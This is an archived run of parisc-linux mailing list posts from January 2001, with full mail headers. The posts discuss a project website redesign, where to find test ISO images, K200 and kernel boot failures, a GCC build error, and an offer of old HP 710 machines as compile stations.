Date: Sat, 6 Jan 2001 12:26:21 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20010106122621.C14922@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619501 9966 80.91.229.3 (22 Nov 2014 01:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Jan  6 05:23:01 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA06024
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Jan 2001 05:23:00 -0700
Original-Received: (qmail 18116 invoked by uid 15267); 6 Jan 2001 12:26:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18109 invoked from network); 6 Jan 2001 12:26:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2001 12:26:22 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14EsQP-0004CG-00
	for parisc-linux@thepuffingroup.com; Sat, 06 Jan 2001 12:26:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9108


As I've mentioned before, I'm not happy with several aspects of the
proposed replacement website.

 * I believe there is too much boilerplate HTML which will quickly get out
   of sync between the different files.
 * The proposed site doesn't have the useful `last updated' feature.
 * The text is too small.
 * It uses too many tables.
 * The <title></title> gives no useful information (also a problem with the
   current site.)
 * Too many directories containing only one file.
 * It now requires perl to build.

Instead of just whining about it, I've taken the design of the proposed
site and merged it into our current site.  I don't propose to put
the results back into CVS yet, so I've made a tarball available from
ftp://puffin.external.hp.com/pub/parisc/newsite.tar.bz2.  It merges most
of the proposed site into te current site, fixing the following things:

 * Removes all boilerplate HTML and places it in common files.
 * Reintroduces the `last updated' text.
 * Puts useful information in the title
 * Eliminates useless directories
 * Builds using sh, grep, sed, date, pwd, head, tr.

There are a lot of things I like about the proposed site, that's why
I'm bothering to try to fix the things I don't like.  I haven't tried to
fix the tables and font sizes because these are aesthetic design issues,
not technical issues.

This tarball doesn't contain everything I like from the proposed site; it
represents a merge of the more important bits into the current site.  Other
bits should be brought across, but I want to get some feedback on whether
this design works before i put more than a couple of hours work into it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISO?
Date: Sun, 7 Jan 2001 21:08:55 -0600 (CST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10101072107500.15620-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619502 9977 80.91.229.3 (22 Nov 2014 01:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Sun Jan  7 20:04:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA19304
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Jan 2001 20:04:41 -0700
Original-Received: (qmail 30693 invoked by uid 15267); 8 Jan 2001 03:08:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30665 invoked from network); 8 Jan 2001 03:08:08 -0000
Original-Received: from mta02.alltel.net (HELO mta02-srv.alltel.net) (166.102.165.144)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 03:08:08 -0000
Original-Received: from [162.39.130.119] by mta02-srv.alltel.net with ESMTP
          id <20010108030807.DIHQ6752.mta02-srv.alltel.net@[162.39.130.119]>
          for <parisc-linux@thepuffingroup.com>;
          Sun, 7 Jan 2001 21:08:07 -0600
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:9109

 Hello,
Where is the test iso located? 
I've looked on the ftp and don't see it anyone with the link please
forward it.
Thanks 
Terry



Achilles' Biological Findings:
        (1) If a child looks like his father, that's heredity.  If he
            looks like a neighbor, that's environment.
        (2) A lot of time has been wasted arguing over what came first
            -- the chicken or the egg.  It was undoubtedly the
            rooster.




From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rmurat@ibm.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Any K200 Experiences Out There??
Date: Mon, 8 Jan 2001 18:14:34 +1100
Lines: 22
Approved: news@gmane.org
Message-ID: <3.0.32.20010108181437.00e52c48@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619502 10004 80.91.229.3 (22 Nov 2014 01:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rmurat@ibm.net  Mon Jan  8 00:11:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA20584
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 00:11:18 -0700
Original-Received: (qmail 25734 invoked by uid 15267); 8 Jan 2001 07:14:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25715 invoked from network); 8 Jan 2001 07:14:45 -0000
Original-Received: from picard.corpconnect.com.au (root@203.34.58.3)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 07:14:45 -0000
Original-Received: from klingon (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with SMTP id SAA21000
	for <parisc-linux@thepuffingroup.com>; Mon, 8 Jan 2001 18:14:34 +1100
X-Sender: rmurat@pop01.ny.us.ibm.net (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:9110

Hi All,

Just wondering if there are any K200 owners out there
that have had any luck.

I've tried the 0.1 iso and all i get is
pdc_cons die !!

0.5 iso just dies with a stack dump & 
Kernel Fault: Code=15 regs=dfff0840

I'd like to here if anyone has gotten any further than
this.

Cheers
Rick







From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ISO?
Date: Mon, 8 Jan 2001 08:06:09 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010108080609.P3019@linuxcare.com>
References: <Pine.LNX.4.10.10101072107500.15620-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619502 10007 80.91.229.3 (22 Nov 2014 01:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: rhirst@linuxcare.com  Mon Jan  8 01:10:48 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA21137
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 01:10:47 -0700
Original-Received: (qmail 3440 invoked by uid 15267); 8 Jan 2001 08:14:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3432 invoked from network); 8 Jan 2001 08:14:16 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 08:14:16 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 48DFEB005; Mon,  8 Jan 2001 08:06:09 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.10.10101072107500.15620-100000@jesse.crash.lan>; from catfish@alltel.net on Sun, Jan 07, 2001 at 09:08:55PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9111

On Sun, Jan 07, 2001 at 09:08:55PM -0600, T. Martin wrote:
>  Hello,
> Where is the test iso located? 
> I've looked on the ftp and don't see it anyone with the link please
> forward it.
> Thanks 
> Terry

ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz 

Richard


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: haeussler@mkl-mail.mach.uni-karlsruhe.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 710 Series
Date: Wed, 19 May 1999 14:30:53 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <51FF4AA61868D2119A040060080606B40B1906@mkl-nt2.mach.uni-karlsruhe.de>
Reply-To: <haeussler@mkl-mail.mach.uni-karlsruhe.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619503 10009 80.91.229.3 (22 Nov 2014 01:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:03 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: haeussler@mkl-mail.mach.uni-karlsruhe.de  Wed May 19 06:32:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA23830
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 May 1999 06:32:51 -0600
Original-Received: (qmail 27248 invoked by uid 15267); 19 May 1999 12:32:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27234 invoked from network); 19 May 1999 12:32:04 -0000
Original-Received: from nz41.rz.uni-karlsruhe.de (HELO mailhost.rz.uni-karlsruhe.de) (129.13.197.5)
  by mailserv2.iuinc.com with SMTP; 19 May 1999 12:32:04 -0000
Original-Received: from mklhp3.mach.uni-karlsruhe.de (root@mklhp3.mach.uni-karlsruhe.de [129.13.166.25])
	by mailhost.rz.uni-karlsruhe.de with esmtp (Exim 2.12 #1)
	id 10k5Vt-0007CW-00; Wed, 19 May 1999 14:31:57 +0200
Original-Received: from mklpc21 (mklpc21.mach.uni-karlsruhe.de [129.13.166.23]) by mklhp3.mach.uni-karlsruhe.de with SMTP (8.8.6 (PHNE_14041)/8.7.3) id OAA02029 for <parisc-linux@thepuffingroup.com>; Wed, 19 May 1999 14:31:55 +0200 (METDST)
Original-Sender: "Pascal Haeussler" <haeussler@mkl-mail.mach.uni-karlsruhe.de>
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Xref: news.gmane.org gmane.linux.ports.parisc:9112

Hello Everybody

My Name is Pascal Haeussler and i'm working here at the institute for
machine design, University of Karlsruhe, Germany. We use many HP boxes with
HP-UX 10.20.

I keep track with Your developments for a while and thougt about a way i
could contribute something. So some old HP 710 (PA 1.1 arcitecture with
HP-UX 10.20, 48 or 64 Mb Memory) Pizza-boxes came to my mind which are no
longer used here. They are quite slow but still work.

If these machines could help You as "native compile-stations", i could check
out if we can set them up here with accounts for those of You who have no
access to HP hardware.
(I can not promise this at the moment, i have to ask our administrators, but
i first wanted to know if this could help.)

If You are interested, just let me know.

Greetings,

Pascal Haeussler
--
Pascal Haeussler							Inst. fuer. MKL u. KFZBau
mailto:haeussler@mkl-mail.mach.uni-karlsruhe.de		Universitaet Karlsruhe
									Kaiserstrasse 12
									76131 Karlsruhe/Germany
									(0721) 608-6472


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC compilation
Date: Mon, 08 Jan 2001 09:25:06 +0100
Organization: H.P
Lines: 74
Approved: news@gmane.org
Message-ID: <3A597962.77E53530@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BDFE9CE8BCBAFA6818A6E761"
X-Trace: ger.gmane.org 1416619503 10016 80.91.229.3 (22 Nov 2014 01:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:03 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Mon Jan  8 01:22:02 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA21345
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 01:22:02 -0700
Original-Received: (qmail 11658 invoked by uid 15267); 8 Jan 2001 08:25:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11647 invoked from network); 8 Jan 2001 08:25:30 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 08:25:30 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 184D02257B
	for <parisc-linux@thepuffingroup.com>; Mon,  8 Jan 2001 09:25:20 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA26282 for <parisc-linux@thepuffingroup.com>; Mon, 8 Jan 2001 09:25:17 +0100 (MET)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:9113

This is a multi-part message in MIME format.
--------------BDFE9CE8BCBAFA6818A6E761
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've retry to compil the GCC. It worked few weeks ago, but now it fails
when I try to compil the full GCC. This the output of my recompil script
(error output):

/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:368: ISO C++ forbids
   declaration of `pthread_mutex_t' with no type
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:368: parse error before ';'
   token
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:580: syntax error before '<'
   token
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:580: `__threads' was not
   declared in this scope
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:580: `__inst' was not
   declared in this scope
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:580: template argument 1 is
   invalid
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:580: template argument 2 is
   invalid
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:581: ISO C++ forbids
   declaration of `_S_node_allocator_lock' with no type
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:581: `PTHREAD_MUTEX_INITIALIZER'
   was not declared in this scope
In file included from /opt/linux_hppa/src/gcc/libstdc++/stdexcepti.cc:15:
/opt/linux_hppa/src/gcc/libstdc++/stdexcept:440:   instantiated from here
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:393: `pthread_mutex_lock'
   undeclared (first use this function)
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:393: (Each undeclared
   identifier is reported only once for each function it appears in.)
In file included from /opt/linux_hppa/src/gcc/libstdc++/stdexcepti.cc:15:
/opt/linux_hppa/src/gcc/libstdc++/stdexcept:440:   instantiated from here
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:394: `pthread_mutex_unlock'
   undeclared (first use this function)
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h: In destructor
   `logic_error::~logic_error ()':
/opt/linux_hppa/src/gcc/libstdc++/stl/stl_alloc.h:15: Internal error:
   Segmentation fault.
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[1]: *** [stdexcepti.o] Error 1
make: *** [all-target-libstdc++] Error 2

Everything compil right, only the full GCC compil fail ? Do you have any idea ?
Must I redownload all bits ?

	Thanks.
  
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------BDFE9CE8BCBAFA6818A6E761
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------BDFE9CE8BCBAFA6818A6E761--


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC compilation
Date: Mon, 08 Jan 2001 09:28:45 +0100
Organization: H.P
Lines: 32
Approved: news@gmane.org
Message-ID: <3A597A3D.66B01E6@admin.france.hp.com>
References: <3A597962.77E53530@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------AF798AC5DDBE01A5E84FCD69"
X-Trace: ger.gmane.org 1416619503 10020 80.91.229.3 (22 Nov 2014 01:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:03 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Mon Jan  8 01:25:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA21513
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 01:25:31 -0700
Original-Received: (qmail 13845 invoked by uid 15267); 8 Jan 2001 08:29:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13838 invoked from network); 8 Jan 2001 08:29:00 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 08:29:00 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 77AF822077
	for <parisc-linux@thepuffingroup.com>; Mon,  8 Jan 2001 09:28:58 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA27559 for <parisc-linux@thepuffingroup.com>; Mon, 8 Jan 2001 09:28:56 +0100 (MET)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:9114

This is a multi-part message in MIME format.
--------------AF798AC5DDBE01A5E84FCD69
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Oups, I forget to say that I've got this problem after
doing a CVS update.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------AF798AC5DDBE01A5E84FCD69
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------AF798AC5DDBE01A5E84FCD69--


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC compilation
Date: Mon, 8 Jan 2001 21:17:23 +1100 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101082112310.15855-100000@front.linuxcare.com.au>
References: <3A597962.77E53530@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619504 10023 80.91.229.3 (22 Nov 2014 01:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:04 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Jan  8 03:17:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA22144
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 03:17:18 -0700
Original-Received: (qmail 30530 invoked by uid 15267); 8 Jan 2001 10:20:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30509 invoked from network); 8 Jan 2001 10:20:46 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 10:20:46 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA02988;
	Mon, 8 Jan 2001 21:17:23 +1100
In-Reply-To: <3A597962.77E53530@admin.france.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9115

On Mon, 8 Jan 2001, Bruno Vidal wrote:

> I've retry to compil the GCC. It worked few weeks ago, but now it fails

I've just done a full recompile of gcc (cvs HEAD version) without seeing
the error you report.  Perhaps you need to start from a clean directory?

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rule@freegates.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] error booting with recent cvs linux kernel
Date: Mon, 08 Jan 2001 11:33:02 +0100 (CET)
Lines: 37
Approved: news@gmane.org
Message-ID: <978949982.3a59975e2655e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619504 10028 80.91.229.3 (22 Nov 2014 01:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rule@freegates.be  Mon Jan  8 03:29:38 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA22378
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 03:29:37 -0700
Original-Received: (qmail 7284 invoked by uid 15267); 8 Jan 2001 10:33:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7272 invoked from network); 8 Jan 2001 10:33:06 -0000
Original-Received: from webmail.tiscalinet.be (212.35.2.121)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 10:33:06 -0000
Original-Received: from www-data by webmail.tiscalinet.be with local (Exim 3.12 #1)
	id 14FZbq-00027c-00
	for parisc-linux@thepuffingroup.com; Mon, 08 Jan 2001 11:33:02 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.2
X-Originating-IP: 192.6.126.74
Xref: news.gmane.org gmane.linux.ports.parisc:9116

Hello all,

When booting a kernel, compiled from CVS update today, with CVS
gcc/binutils/glibc/palo from CVS, I get the following error :

(I use STI console, following is copied from screen)

INIT: version 2.78 booting
break 0,0: pid=9 command='rcS'
rcS[9]: breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3% 00000000 c02bc800 00000000 00000000
r4-7% 00000000 00000000 00000000 00000000
r8-11% 00000000 00000000 00000000 00000000
r12-15% 00000000 00000000 00076808 c011ef58
r16-19% c3c80600 c3c80000 00076808 00000001
r20-23% c3fce860 c3fce860 00000000 c3fce840
r24-27% c3fffd40 00001000 00000000 c024c000
r28-31% 00000000 00000000 c3c80a00 c012a134
sr0-3% 00000000 00000000 00000000 00000003
sr4-7% 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: c3c00008
ORIG_R28: 00000000

The box boots fine with a backup kernel, compiled late december of last year.

Kind regards,
Roel Teuwen


-------------------------------------------------
This mail sent through IMP: webmail.tiscalinet.be


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any K200 Experiences Out There??
Date: Mon, 8 Jan 2001 14:56:43 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010108145643.A32433@parcelfarce.linux.theplanet.co.uk>
References: <3.0.32.20010108181437.00e52c48@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619505 10032 80.91.229.3 (22 Nov 2014 01:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
